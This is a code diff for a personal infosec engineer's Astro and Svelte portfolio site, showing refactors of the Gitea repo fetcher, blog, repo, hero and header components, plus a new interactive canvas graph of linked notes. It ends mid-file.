`${GITEA_BASE}/api/v1/users/${GITEA_USER}/repos?limit=50&page=1`
|
||||
`${GITEA_BASE}/api/v1/users/${GITEA_USER}/repos?limit=50&page=1`,
|
||||
);
|
||||
if (!res.ok) throw new Error(`Gitea API: ${res.status}`);
|
||||
|
||||
const repos: GiteaRepo[] = await res.json();
|
||||
|
||||
const filtered = repos
|
||||
.filter((r) =>
|
||||
!r.fork &&
|
||||
!r.private &&
|
||||
!SKIP_REPOS.includes(r.name)
|
||||
)
|
||||
.filter((r) => !r.fork && !r.private && !SKIP_REPOS.includes(r.name))
|
||||
.sort(
|
||||
(a, b) =>
|
||||
new Date(b.updated_at).getTime() - new Date(a.updated_at).getTime()
|
||||
new Date(b.updated_at).getTime() - new Date(a.updated_at).getTime(),
|
||||
);
|
||||
|
||||
const reposWithMirrors = await Promise.all(
|
||||
filtered.map(async (repo) => ({
|
||||
...repo,
|
||||
mirrors: await checkMirrors(repo.name),
|
||||
}))
|
||||
})),
|
||||
);
|
||||
|
||||
return reposWithMirrors;
|
||||
@@ -91,18 +87,15 @@ export function getBannerUrl(repo: GiteaRepo): string {
|
||||
async function main() {
|
||||
console.log("Fetching repos from Gitea...");
|
||||
const rawRepos = await fetchGiteaRepos();
|
||||
const repos = rawRepos.map(repo => ({
|
||||
const repos = rawRepos.map((repo) => ({
|
||||
...repo,
|
||||
banner_url: `${GITEA_BASE}/${repo.full_name}/raw/branch/main/.github/assets/banner.png`
|
||||
banner_url: `${GITEA_BASE}/${repo.full_name}/raw/branch/main/.github/assets/banner.png`,
|
||||
}));
|
||||
|
||||
const dataDir = join(process.cwd(), "src/data");
|
||||
await mkdir(dataDir, { recursive: true });
|
||||
|
||||
await Bun.write(
|
||||
join(dataDir, "repos.json"),
|
||||
JSON.stringify(repos, null, 2)
|
||||
);
|
||||
await Bun.write(join(dataDir, "repos.json"), JSON.stringify(repos, null, 2));
|
||||
|
||||
console.log(`Saved ${repos.length} repos to src/data/repos.json`);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
---
|
||||
import { Image } from "astro:assets";
|
||||
const avatar = "/avatar.jpg";
|
||||
const username = "anotherhadi";
|
||||
const bio = "Infosec engineer.";
|
||||
---
|
||||
|
||||
<div class="flex flex-wrap gap-3 justify-start">
|
||||
<div
|
||||
class="ring-base-300 ring-offset-base-100 rounded-full ring-2 ring-offset-2 flex justify-center items-center"
|
||||
>
|
||||
<Image
|
||||
src={avatar}
|
||||
alt="anotherhadi avatar"
|
||||
class="rounded-full m-auto"
|
||||
width={36}
|
||||
height={36}
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<p class="text-sm font-semibold">
|
||||
<a href="/"><span class="text-base-content/40">@</span>{username}</a>
|
||||
</p>
|
||||
<p class="text-xs text-base-content/60">{bio}</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,5 +1,5 @@
|
||||
---
|
||||
import { ArrowUp } from "lucide-astro";
|
||||
import { ArrowUp } from "@lucide/astro";
|
||||
---
|
||||
|
||||
<button
|
||||
|
||||
@@ -18,14 +18,19 @@ const latestPosts = sortedPosts.slice(0, 3);
|
||||
<div class="max-w-6xl mx-auto">
|
||||
<div class="text-center mb-12">
|
||||
<h2 class="text-4xl font-bold mb-4">Latest Blog Posts</h2>
|
||||
<p class="text-lg text-base-content/70">
|
||||
Thoughts, insights, and tutorials on cybersecurity, OSINT, and
|
||||
technology.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6">
|
||||
{latestPosts.map((post) => <BlogCard post={post} />)}
|
||||
{
|
||||
latestPosts.map((post) => (
|
||||
<BlogCard
|
||||
displayBanner={false}
|
||||
displayTags={false}
|
||||
displayDate={false}
|
||||
post={post}
|
||||
/>
|
||||
))
|
||||
}
|
||||
</div>
|
||||
|
||||
<div class="text-center mt-12">
|
||||
|
||||
@@ -2,26 +2,23 @@
|
||||
import type { CollectionEntry } from "astro:content";
|
||||
import TagBadge from "./TagBadge.astro";
|
||||
import { Image } from "astro:assets";
|
||||
import { formatDate } from "../utils/notes";
|
||||
|
||||
interface Props {
|
||||
displayBanner: boolean;
|
||||
displayDate: boolean;
|
||||
displayTags: boolean;
|
||||
post: CollectionEntry<"blog">;
|
||||
}
|
||||
|
||||
const { post } = Astro.props;
|
||||
|
||||
function formatDate(date: Date) {
|
||||
const options: Intl.DateTimeFormatOptions = {
|
||||
month: "long",
|
||||
day: "numeric",
|
||||
year: "numeric",
|
||||
};
|
||||
return date.toLocaleDateString("en-US", options);
|
||||
}
|
||||
---
|
||||
|
||||
<article
|
||||
class="card bg-base-100 shadow-xl border border-base-200 rounded-lg hover:shadow-2xl transition-shadow"
|
||||
>
|
||||
|
||||
{ Astro.props.displayBanner && (
|
||||
<figure class="aspect-video">
|
||||
<Image
|
||||
src={post.data.image}
|
||||
@@ -31,25 +28,27 @@ function formatDate(date: Date) {
|
||||
height={400}
|
||||
/>
|
||||
</figure>
|
||||
)}
|
||||
<div class="card-body">
|
||||
{ Astro.props.displayDate && (
|
||||
<time class="text-sm text-base-content/60">
|
||||
{formatDate(post.data.publishDate)}
|
||||
</time>
|
||||
)}
|
||||
<h2 class="card-title hover:text-primary transition-colors">
|
||||
<a href={`/blog/${post.id}`}>{post.data.title}</a>
|
||||
</h2>
|
||||
<p class="text-base-content/80">{post.data.description}</p>
|
||||
{
|
||||
post.data.tags && post.data.tags.length > 0 && (
|
||||
|
||||
{ Astro.props.displayTags && post.data.tags && post.data.tags.length > 0 && (
|
||||
<div class="flex flex-wrap gap-2 mt-2">
|
||||
{post.data.tags.map((tag) => (
|
||||
<TagBadge tag={tag} />
|
||||
))}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
)}
|
||||
<div class="card-actions justify-end mt-4">
|
||||
<a href={`/blog/${post.id}`} class="btn btn-primary btn-sm">
|
||||
<a href={`/blog/${post.id}`} class="btn btn-soft btn-primary btn-sm">
|
||||
Read More
|
||||
</a>
|
||||
</div>
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
import { ExternalLink, ChevronDown } from "@lucide/astro";
|
||||
|
||||
interface Props {
|
||||
displayBanner: boolean;
|
||||
repo: {
|
||||
name: string;
|
||||
description: string;
|
||||
@@ -19,8 +20,12 @@ interface Props {
|
||||
const { repo } = Astro.props;
|
||||
|
||||
const platforms = [
|
||||
...(repo.mirrors.github ? [{ label: "GitHub", url: repo.mirrors.github }] : []),
|
||||
...(repo.mirrors.gitlab ? [{ label: "GitLab", url: repo.mirrors.gitlab }] : []),
|
||||
...(repo.mirrors.github
|
||||
? [{ label: "GitHub", url: repo.mirrors.github }]
|
||||
: []),
|
||||
...(repo.mirrors.gitlab
|
||||
? [{ label: "GitLab", url: repo.mirrors.gitlab }]
|
||||
: []),
|
||||
{ label: "Gitea", url: repo.html_url },
|
||||
];
|
||||
|
||||
@@ -30,6 +35,7 @@ const hasMultiplePlatforms = platforms.length > 1;
|
||||
<article
|
||||
class="card bg-base-100 shadow-xl border border-base-200 rounded-lg hover:shadow-2xl transition-shadow"
|
||||
>
|
||||
{ Astro.props.displayBanner && repo.banner_url && (
|
||||
<figure class="aspect-video bg-base-200 overflow-hidden">
|
||||
<img
|
||||
src={repo.banner_url}
|
||||
@@ -38,6 +44,7 @@ const hasMultiplePlatforms = platforms.length > 1;
|
||||
onerror="this.parentElement.style.display='none'"
|
||||
/>
|
||||
</figure>
|
||||
)}
|
||||
|
||||
<div class="card-body">
|
||||
<h2 class="card-title hover:text-primary transition-colors">
|
||||
@@ -46,21 +53,21 @@ const hasMultiplePlatforms = platforms.length > 1;
|
||||
</a>
|
||||
</h2>
|
||||
|
||||
{repo.description && (
|
||||
<p class="text-base-content/80">{repo.description}</p>
|
||||
)}
|
||||
{repo.description && <p class="text-base-content/80">{repo.description}</p>}
|
||||
|
||||
<div class="flex flex-wrap gap-2 mt-2">
|
||||
{repo.topics.map((topic) => (
|
||||
{
|
||||
repo.topics.map((topic) => (
|
||||
<span class="badge badge-sm rounded-sm badge-soft badge-accent">
|
||||
{topic}
|
||||
</span>
|
||||
))}
|
||||
))
|
||||
}
|
||||
</div>
|
||||
|
||||
<div class="card-actions justify-end mt-4 gap-2">
|
||||
{repo.website && (
|
||||
|
||||
{
|
||||
repo.website && (
|
||||
<a
|
||||
href={repo.website}
|
||||
target="_blank"
|
||||
@@ -70,11 +77,17 @@ const hasMultiplePlatforms = platforms.length > 1;
|
||||
<ExternalLink class="size-4" />
|
||||
Website
|
||||
</a>
|
||||
)}
|
||||
)
|
||||
}
|
||||
|
||||
{hasMultiplePlatforms ? (
|
||||
{
|
||||
hasMultiplePlatforms ? (
|
||||
<div class="dropdown dropdown-end">
|
||||
<div tabindex="0" role="button" class="btn btn-primary btn-sm gap-1">
|
||||
<div
|
||||
tabindex="0"
|
||||
role="button"
|
||||
class="btn btn-soft btn-primary btn-sm gap-1"
|
||||
>
|
||||
<ExternalLink class="size-4" />
|
||||
View Source
|
||||
<ChevronDown class="size-3" />
|
||||
@@ -93,17 +106,17 @@ const hasMultiplePlatforms = platforms.length > 1;
|
||||
</ul>
|
||||
</div>
|
||||
) : (
|
||||
|
||||
<a
|
||||
href={repo.html_url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
class="btn btn-primary btn-sm gap-1"
|
||||
class="btn btn-soft btn-primary btn-sm gap-1"
|
||||
>
|
||||
<ExternalLink class="size-4" />
|
||||
View on Gitea
|
||||
</a>
|
||||
)}
|
||||
)
|
||||
}
|
||||
</div>
|
||||
</div>
|
||||
</article>
|
||||
|
||||
+26
-41
@@ -1,39 +1,34 @@
|
||||
---
|
||||
import { ArrowRight, FolderCode, Key, Rss } from "@lucide/astro";
|
||||
import { FolderCode, Key, Rss } from "@lucide/astro";
|
||||
import { Image } from "astro:assets";
|
||||
import type { SocialLinks } from "../config";
|
||||
|
||||
interface Props {
|
||||
name: string;
|
||||
title: string;
|
||||
description: string;
|
||||
avatar: any;
|
||||
location?: string;
|
||||
socialLinks?: {
|
||||
github?: string;
|
||||
gitlab?: string;
|
||||
gitea?: string;
|
||||
linkedin?: string;
|
||||
twitter?: string;
|
||||
bluesky?: string;
|
||||
instagram?: string;
|
||||
youTube?: string;
|
||||
medium?: string;
|
||||
kofi?: string;
|
||||
codetips?: string;
|
||||
};
|
||||
socialLinks?: SocialLinks;
|
||||
gpgKey?: string;
|
||||
rssFeed?: string;
|
||||
}
|
||||
|
||||
const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed } =
|
||||
Astro.props;
|
||||
const {
|
||||
name,
|
||||
title,
|
||||
description,
|
||||
avatar,
|
||||
socialLinks,
|
||||
gpgKey,
|
||||
rssFeed,
|
||||
} = Astro.props;
|
||||
---
|
||||
|
||||
<section class="hero min-h-[65vh]">
|
||||
<div class="hero-content flex-col lg:flex-row-reverse max-w-7xl gap-8">
|
||||
<section class="hero py-20">
|
||||
<div class="hero-content flex-col lg:flex-row-reverse max-w-7xl gap-10">
|
||||
<div class="avatar">
|
||||
<div
|
||||
class="w-48 ring-primary ring-offset-base-100 rounded-full ring-2 ring-offset-2"
|
||||
class="w-32 md:w-48 ring-primary ring-offset-base-100 rounded-full ring-2 ring-offset-2"
|
||||
>
|
||||
<Image src={avatar} alt={name} />
|
||||
</div>
|
||||
@@ -43,8 +38,7 @@ const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed
|
||||
Hi, I'm {name}
|
||||
</h1>
|
||||
<p class="text-xl text-base-content/80 mb-2">{title}</p>
|
||||
{location && <p class="text-base-content/60 mb-4">{location}</p>}
|
||||
<p class="text-lg leading-relaxed mb-6">
|
||||
<p class="text-lg max-w-lg leading-relaxed mb-6">
|
||||
{description}
|
||||
</p>
|
||||
{
|
||||
@@ -84,7 +78,10 @@ const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
|
||||
role="img"
|
||||
viewBox="0 0 24 24"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
>
|
||||
<path d="m23.6004 9.5927-.0337-.0862L20.3.9814a.851.851 0 0 0-.3362-.405.8748.8748 0 0 0-.9997.0539.8748.8748 0 0 0-.29.4399l-2.2055 6.748H7.5375l-2.2057-6.748a.8573.8573 0 0 0-.29-.4412.8748.8748 0 0 0-.9997-.0537.8585.8585 0 0 0-.3362.4049L.4332 9.5015l-.0325.0862a6.0657 6.0657 0 0 0 2.0119 7.0105l.0113.0087.03.0213 4.976 3.7264 2.462 1.8633 1.4995 1.1321a1.0085 1.0085 0 0 0 1.2197 0l1.4995-1.1321 2.4619-1.8633 5.006-3.7489.0125-.01a6.0682 6.0682 0 0 0 2.0094-7.003z" />
|
||||
</svg>
|
||||
</a>
|
||||
@@ -103,7 +100,10 @@ const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
|
||||
role="img"
|
||||
viewBox="0 0 24 24"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
>
|
||||
<path d="M4.209 4.603c-.247 0-.525.02-.84.088-.333.07-1.28.283-2.054 1.027C-.403 7.25.035 9.685.089 10.052c.065.446.263 1.687 1.21 2.768 1.749 2.141 5.513 2.092 5.513 2.092s.462 1.103 1.168 2.119c.955 1.263 1.936 2.248 2.89 2.367 2.406 0 7.212-.004 7.212-.004s.458.004 1.08-.394c.535-.324 1.013-.893 1.013-.893s.492-.527 1.18-1.73c.21-.37.385-.729.538-1.068 0 0 2.107-4.471 2.107-8.823-.042-1.318-.367-1.55-.443-1.627-.156-.156-.366-.153-.366-.153s-4.475.252-6.792.306c-.508.011-1.012.023-1.512.027v4.474l-.634-.301c0-1.39-.004-4.17-.004-4.17-1.107.016-3.405-.084-3.405-.084s-5.399-.27-5.987-.324c-.187-.011-.401-.032-.648-.032zm.354 1.832h.111s.271 2.269.6 3.597C5.549 11.147 6.22 13 6.22 13s-.996-.119-1.641-.348c-.99-.324-1.409-.714-1.409-.714s-.73-.511-1.096-1.52C1.444 8.73 2.021 7.7 2.021 7.7s.32-.859 1.47-1.145c.395-.106.863-.12 1.072-.12zm8.33 2.554c.26.003.509.127.509.127l.868.422-.529 1.075a.686.686 0 0 0-.614.359.685.685 0 0 0 .072.756l-.939 1.924a.69.69 0 0 0-.66.527.687.687 0 0 0 .347.763.686.686 0 0 0 .867-.206.688.688 0 0 0-.069-.882l.916-1.874a.667.667 0 0 0 .237-.02.657.657 0 0 0 .271-.137 8.826 8.826 0 0 1 1.016.512.761.761 0 0 1 .286.282c.073.21-.073.569-.073.569-.087.29-.702 1.55-.702 1.55a.692.692 0 0 0-.676.477.681.681 0 1 0 1.157-.252c.073-.141.141-.282.214-.431.19-.397.515-1.16.515-1.16.035-.066.218-.394.103-.814-.095-.435-.48-.638-.48-.638-.467-.301-1.116-.58-1.116-.58s0-.156-.042-.27a.688.688 0 0 0-.148-.241l.516-1.062 2.89 1.401s.48.218.583.619c.073.282-.019.534-.069.657-.24.587-2.1 4.317-2.1 4.317s-.232.554-.748.588a1.065 1.065 0 0 1-.393-.045l-.202-.08-4.31-2.1s-.417-.218-.49-.596c-.083-.31.104-.691.104-.691l2.073-4.272s.183-.37.466-.497a.855.855 0 0 1 .35-.077z" />
|
||||
</svg>
|
||||
</a>
|
||||
@@ -191,10 +191,10 @@ const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed
|
||||
</a>
|
||||
</div>
|
||||
)}
|
||||
{socialLinks.youTube && (
|
||||
{socialLinks.youtube && (
|
||||
<div class="tooltip" data-tip="Youtube">
|
||||
<a
|
||||
href={socialLinks.youTube}
|
||||
href={socialLinks.youtube}
|
||||
class="btn btn-circle btn-ghost"
|
||||
aria-label="YouTube"
|
||||
target="_blank"
|
||||
@@ -332,21 +332,6 @@ const { name, title, description, avatar, location, socialLinks, gpgKey, rssFeed
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
<div class="mt-12 flex flex-wrap gap-5">
|
||||
<a href="/blog" class="btn btn-ghost gap-2">
|
||||
Blog Posts
|
||||
<ArrowRight class="size-4" />
|
||||
</a>
|
||||
<a href="/projects" class="btn btn-ghost gap-2">
|
||||
Projects
|
||||
<ArrowRight class="size-4" />
|
||||
</a>
|
||||
<a href="/#contact" class="btn btn-ghost gap-2">
|
||||
Contact Me
|
||||
<ArrowRight class="size-4" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
+27
-10
@@ -4,7 +4,7 @@ const pathname = Astro.url.pathname;
|
||||
const links = [
|
||||
{ href: "/", label: "home" },
|
||||
{ href: "/blog", label: "blog" },
|
||||
{ href: "/notes", label: "notes" },
|
||||
{ href: "/notes", label: "infosec notes" },
|
||||
{ href: "/projects", label: "projects" },
|
||||
];
|
||||
|
||||
@@ -15,10 +15,12 @@ function isActive(href: string) {
|
||||
---
|
||||
|
||||
<header
|
||||
class="fixed top-0 left-0 right-0 z-50 h-12 flex items-center px-5"
|
||||
class="fixed top-0 left-0 right-0 z-[60] h-12 flex items-center px-5"
|
||||
style="background: oklch(0% 0 0 / 0.85); backdrop-filter: blur(12px); border-bottom: 1px solid oklch(22% 0 0);"
|
||||
>
|
||||
<div class="flex items-center justify-between w-full max-w-screen-xl mx-auto">
|
||||
<div
|
||||
class="flex items-center justify-between w-full max-w-screen-2xl mx-auto"
|
||||
>
|
||||
<a
|
||||
href="/"
|
||||
class="font-mono text-sm text-base-content/40 hover:text-primary transition-colors duration-200 tracking-tight"
|
||||
@@ -26,6 +28,13 @@ function isActive(href: string) {
|
||||
~/hadi
|
||||
</a>
|
||||
|
||||
<div
|
||||
id="oneko-track"
|
||||
transition:persist
|
||||
class="flex-1 relative h-12 pointer-events-none"
|
||||
>
|
||||
</div>
|
||||
|
||||
<nav class="hidden md:flex items-center">
|
||||
{
|
||||
links.map((link) => (
|
||||
@@ -56,16 +65,22 @@ function isActive(href: string) {
|
||||
class="md:hidden flex flex-col gap-1 p-2 text-base-content/40 hover:text-base-content/70 transition-colors"
|
||||
aria-label="Toggle menu"
|
||||
>
|
||||
<span class="hamburger-line block w-4 h-px bg-current transition-all duration-200"></span>
|
||||
<span class="hamburger-line block w-4 h-px bg-current transition-all duration-200"></span>
|
||||
<span class="hamburger-line block w-4 h-px bg-current transition-all duration-200"></span>
|
||||
<span
|
||||
class="hamburger-line block w-4 h-px bg-current transition-all duration-200"
|
||||
></span>
|
||||
<span
|
||||
class="hamburger-line block w-4 h-px bg-current transition-all duration-200"
|
||||
></span>
|
||||
<span
|
||||
class="hamburger-line block w-4 h-px bg-current transition-all duration-200"
|
||||
></span>
|
||||
</button>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div
|
||||
id="mobile-menu"
|
||||
class="hidden fixed inset-x-0 top-12 z-40 md:hidden border-b border-base-300/60 py-2"
|
||||
class="hidden fixed inset-x-0 top-12 z-[59] md:hidden border-b border-base-300/60 py-2"
|
||||
style="background: oklch(2% 0 0 / 0.97); backdrop-filter: blur(12px);"
|
||||
>
|
||||
{
|
||||
@@ -95,8 +110,6 @@ function isActive(href: string) {
|
||||
if (!btn || !menu) return;
|
||||
const lines = btn.querySelectorAll<HTMLElement>(".hamburger-line");
|
||||
let open = false;
|
||||
|
||||
open = false;
|
||||
menu.style.display = "none";
|
||||
lines[0].style.transform = "";
|
||||
lines[1].style.opacity = "";
|
||||
@@ -111,7 +124,11 @@ function isActive(href: string) {
|
||||
});
|
||||
|
||||
document.addEventListener("click", (e) => {
|
||||
if (open && !btn.contains(e.target as Node) && !menu.contains(e.target as Node)) {
|
||||
if (
|
||||
open &&
|
||||
!btn.contains(e.target as Node) &&
|
||||
!menu.contains(e.target as Node)
|
||||
) {
|
||||
open = false;
|
||||
menu.style.display = "none";
|
||||
lines[0].style.transform = "";
|
||||
|
||||
@@ -0,0 +1,279 @@
|
||||
<script lang="ts">
|
||||
import { onMount } from "svelte";
|
||||
|
||||
interface GNode {
|
||||
id: string;
|
||||
title: string;
|
||||
current: boolean;
|
||||
}
|
||||
interface GEdge {
|
||||
from: string;
|
||||
to: string;
|
||||
}
|
||||
interface Props {
|
||||
nodes?: GNode[];
|
||||
edges?: GEdge[];
|
||||
}
|
||||
|
||||
const { nodes = [], edges = [] }: Props = $props();
|
||||
|
||||
const PRIMARY = "oklch(71% 0.0863 296.59)";
|
||||
|
||||
let canvas: HTMLCanvasElement;
|
||||
|
||||
function startAnimation(): () => void {
|
||||
if (!canvas || nodes.length === 0) return () => {};
|
||||
|
||||
const W = (canvas.width = canvas.offsetWidth);
|
||||
const H = (canvas.height = 190);
|
||||
const ctx = canvas.getContext("2d")!;
|
||||
|
||||
type SimNode = GNode & { x: number; y: number; vx: number; vy: number };
|
||||
|
||||
const simNodes: SimNode[] = nodes.map((n) => ({
|
||||
...n,
|
||||
x: n.current ? W / 2 : W / 2 + (Math.random() - 0.5) * 80,
|
||||
y: n.current ? H / 2 : H / 2 + (Math.random() - 0.5) * 80,
|
||||
vx: 0,
|
||||
vy: 0,
|
||||
}));
|
||||
|
||||
let dragging: SimNode | null = null;
|
||||
let hovered: SimNode | null = null;
|
||||
|
||||
function nodeAt(x: number, y: number): SimNode | null {
|
||||
return (
|
||||
simNodes.find((n) => {
|
||||
const dx = n.x - x,
|
||||
dy = n.y - y;
|
||||
return Math.sqrt(dx * dx + dy * dy) < (n.current ? 10 : 8);
|
||||
}) ?? null
|
||||
);
|
||||
}
|
||||
|
||||
function tick() {
|
||||
for (let i = 0; i < simNodes.length; i++) {
|
||||
for (let j = i + 1; j < simNodes.length; j++) {
|
||||
const a = simNodes[i],
|
||||
b = simNodes[j];
|
||||
const dx = b.x - a.x,
|
||||
dy = b.y - a.y;
|
||||
const d = Math.sqrt(dx * dx + dy * dy) || 1;
|
||||
const f = 900 / (d * d);
|
||||
a.vx -= (dx / d) * f;
|
||||
a.vy -= (dy / d) * f;
|
||||
b.vx += (dx / d) * f;
|
||||
b.vy += (dy / d) * f;
|
||||
}
|
||||
}
|
||||
for (const e of edges) {
|
||||
const a = simNodes.find((n) => n.id === e.from);
|
||||
const b = simNodes.find((n) => n.id === e.to);
|
||||
if (!a || !b) continue;
|
||||
const dx = b.x - a.x,
|
||||
dy = b.y - a.y;
|
||||
const d = Math.sqrt(dx * dx + dy * dy) || 1;
|
||||
const f = (d - 75) * 0.04;
|
||||
a.vx += (dx / d) * f;
|
||||
a.vy += (dy / d) * f;
|
||||
b.vx -= (dx / d) * f;
|
||||
b.vy -= (dy / d) * f;
|
||||
}
|
||||
for (const n of simNodes) {
|
||||
n.vx += (W / 2 - n.x) * 0.025;
|
||||
n.vy += (H / 2 - n.y) * 0.025;
|
||||
}
|
||||
for (const n of simNodes) {
|
||||
if (n === dragging) continue;
|
||||
n.vx *= 0.78;
|
||||
n.vy *= 0.78;
|
||||
n.x = Math.max(16, Math.min(W - 16, n.x + n.vx));
|
||||
n.y = Math.max(16, Math.min(H - 16, n.y + n.vy));
|
||||
}
|
||||
}
|
||||
|
||||
function draw() {
|
||||
ctx.clearRect(0, 0, W, H);
|
||||
ctx.fillStyle = "oklch(2% 0 0)";
|
||||
ctx.fillRect(0, 0, W, H);
|
||||
|
||||
const connected = new Set<string>();
|
||||
if (hovered) {
|
||||
for (const e of edges) {
|
||||
if (e.from === hovered.id) connected.add(e.to);
|
||||
if (e.to === hovered.id) connected.add(e.from);
|
||||
}
|
||||
}
|
||||
|
||||
for (const e of edges) {
|
||||
const a = simNodes.find((n) => n.id === e.from);
|
||||
const b = simNodes.find((n) => n.id === e.to);
|
||||
if (!a || !b) continue;
|
||||
const lit =
|
||||
hovered && (e.from === hovered.id || e.to === hovered.id);
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(a.x, a.y);
|
||||
ctx.lineTo(b.x, b.y);
|
||||
ctx.strokeStyle = lit ? "oklch(55% 0 0)" : "oklch(27% 0 0)";
|
||||
ctx.lineWidth = lit ? 1.5 : 1;
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
for (const n of simNodes) {
|
||||
const isHov = hovered?.id === n.id;
|
||||
const isCon = connected.has(n.id);
|
||||
const r = n.current ? 7 : isHov ? 6 : 4.5;
|
||||
|
||||
if (isHov && !n.current) {
|
||||
ctx.beginPath();
|
||||
ctx.arc(n.x, n.y, r + 5, 0, Math.PI * 2);
|
||||
ctx.fillStyle = "oklch(71% 0.0863 296.59 / 0.15)";
|
||||
ctx.fill();
|
||||
}
|
||||
|
||||
ctx.beginPath();
|
||||
ctx.arc(n.x, n.y, r, 0, Math.PI * 2);
|
||||
ctx.fillStyle = n.current
|
||||
? PRIMARY
|
||||
: isHov
|
||||
? "oklch(78% 0.05 296.59)"
|
||||
: isCon
|
||||
? "oklch(58% 0.03 296.59)"
|
||||
: "oklch(40% 0 0)";
|
||||
ctx.fill();
|
||||
|
||||
if (n.current || isHov || isCon) {
|
||||
ctx.font = `${n.current ? "10px" : "9px"} monospace`;
|
||||
ctx.textAlign = "center";
|
||||
ctx.fillStyle = n.current ? "oklch(87% 0 0)" : "oklch(62% 0 0)";
|
||||
const label =
|
||||
n.title.length > 14 ? n.title.slice(0, 13) + "…" : n.title;
|
||||
ctx.fillText(label, n.x, n.y + r + 9);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let animId: number;
|
||||
function loop() {
|
||||
tick();
|
||||
draw();
|
||||
animId = requestAnimationFrame(loop);
|
||||
}
|
||||
animId = requestAnimationFrame(loop);
|
||||
|
||||
const onMousedown = (e: MouseEvent) => {
|
||||
const r = canvas.getBoundingClientRect();
|
||||
const sx = W / canvas.offsetWidth;
|
||||
dragging = nodeAt(
|
||||
(e.clientX - r.left) * sx,
|
||||
(e.clientY - r.top) * (H / canvas.offsetHeight),
|
||||
);
|
||||
};
|
||||
const onMousemove = (e: MouseEvent) => {
|
||||
const r = canvas.getBoundingClientRect();
|
||||
const sx = W / canvas.offsetWidth;
|
||||
const x = (e.clientX - r.left) * sx;
|
||||
const y = (e.clientY - r.top) * (H / canvas.offsetHeight);
|
||||
if (dragging) {
|
||||
dragging.x = x;
|
||||
dragging.y = y;
|
||||
dragging.vx = 0;
|
||||
dragging.vy = 0;
|
||||
}
|
||||
hovered = nodeAt(x, y);
|
||||
canvas.style.cursor =
|
||||
hovered && !hovered.current ? "pointer" : "default";
|
||||
};
|
||||
const onMouseup = () => {
|
||||
dragging = null;
|
||||
};
|
||||
const onMouseleave = () => {
|
||||
dragging = null;
|
||||
hovered = null;
|
||||
};
|
||||
const onClick = (e: MouseEvent) => {
|
||||
const r = canvas.getBoundingClientRect();
|
||||
const sx = W / canvas.offsetWidth;
|
||||
const n = nodeAt(
|
||||
(e.clientX - r.left) * sx,
|
||||
(e.clientY - r.top) * (H / canvas.offsetHeight),
|
||||
);
|
||||
if (n && !n.current) window.location.href = `/notes/${n.id}`;
|
||||
};
|
||||
|
||||
canvas.addEventListener("mousedown", onMousedown);
|
||||
canvas.addEventListener("mousemove", onMousemove);
|
||||
canvas.addEventListener("mouseup", onMouseup);
|
||||
canvas.addEventListener("mouseleave", onMouseleave);
|
||||
canvas.addEventListener("click", onClick);
|
||||
|
||||
return () => {
|
||||
cancelAnimationFrame(animId);
|
||||
canvas.removeEventListener("mousedown", onMousedown);
|
||||
canvas.removeEventListener("mousemove", onMousemove);
|
||||
canvas.removeEventListener("mouseup", onMouseup);
|
||||
canvas.removeEventListener("mouseleave", onMouseleave);
|
||||
canvas.removeEventListener("click", onClick);
|
||||
};
|
||||
}
|
||||
|
||||
onMount(() => {
|
||||
const drawer = document.getElementById(
|
||||
"graph-drawer",
|
||||
) as HTMLInputElement | null;
|
||||
const outerDrawer =
|
||||
drawer?.closest<HTMLElement>(".drawer.drawer-end") ?? null;
|
||||
|
||||
let stopFn: (() => void) | null = null;
|
||||
|
||||
function isVisible() {
|
||||
return (
|
||||
(drawer?.checked ?? false) ||
|
||||
(outerDrawer?.classList.contains("xl:drawer-open") ?? false)
|
||||
);
|
||||
}
|
||||
|
||||
function start() {
|
||||
if (stopFn) return;
|
||||
stopFn = startAnimation();
|
||||
}
|
||||
|
||||
function stop() {
|
||||
stopFn?.();
|
||||
stopFn = null;
|
||||
}
|
||||
|
||||
if (isVisible()) start();
|
||||
|
||||
const onDrawerChange = () => {
|
||||
isVisible() ? start() : stop();
|
||||
};
|
||||
drawer?.addEventListener("change", onDrawerChange);
|
||||
|
||||
// Watch for xl:drawer-open class toggled by the graph button script
|
||||
const observer = new MutationObserver(() => {
|
||||
isVisible() ? start() : stop();
|
||||
});
|
||||
if (outerDrawer) {
|
||||
observer.observe(outerDrawer, {
|
||||
attributes: true,
|
||||
attributeFilter: ["class"],
|
||||
});
|
||||
}
|
||||
|
||||
return () => {
|
||||
stop();
|
||||
drawer?.removeEventListener("change", onDrawerChange);
|
||||
observer.disconnect();
|
||||
};
|
||||
});
|
||||
</script>
|
||||
|
||||
<!-- svelte-ignore a11y_no_interactive_element_to_noninteractive_role -->
|
||||
<canvas
|
||||
bind:this={canvas}
|
||||
height="190"
|
||||
role="img"
|
||||
aria-label="Graph of linked notes"
|
||||
style="width:100%; display:block; background: oklch(2% 0 0); cursor:default;"
|
||||
></canvas>
|
||||
@@ -0,0 +1,130 @@
|
||||
---
|
||||
import NoteGraph from "./NoteGraph.svelte";
|
||||
import Author from "./Author.astro";
|
||||
import { formatDate } from "../utils/notes";
|
||||
import type { CollectionEntry } from "astro:content";
|
||||
|
||||
interface Props {
|
||||
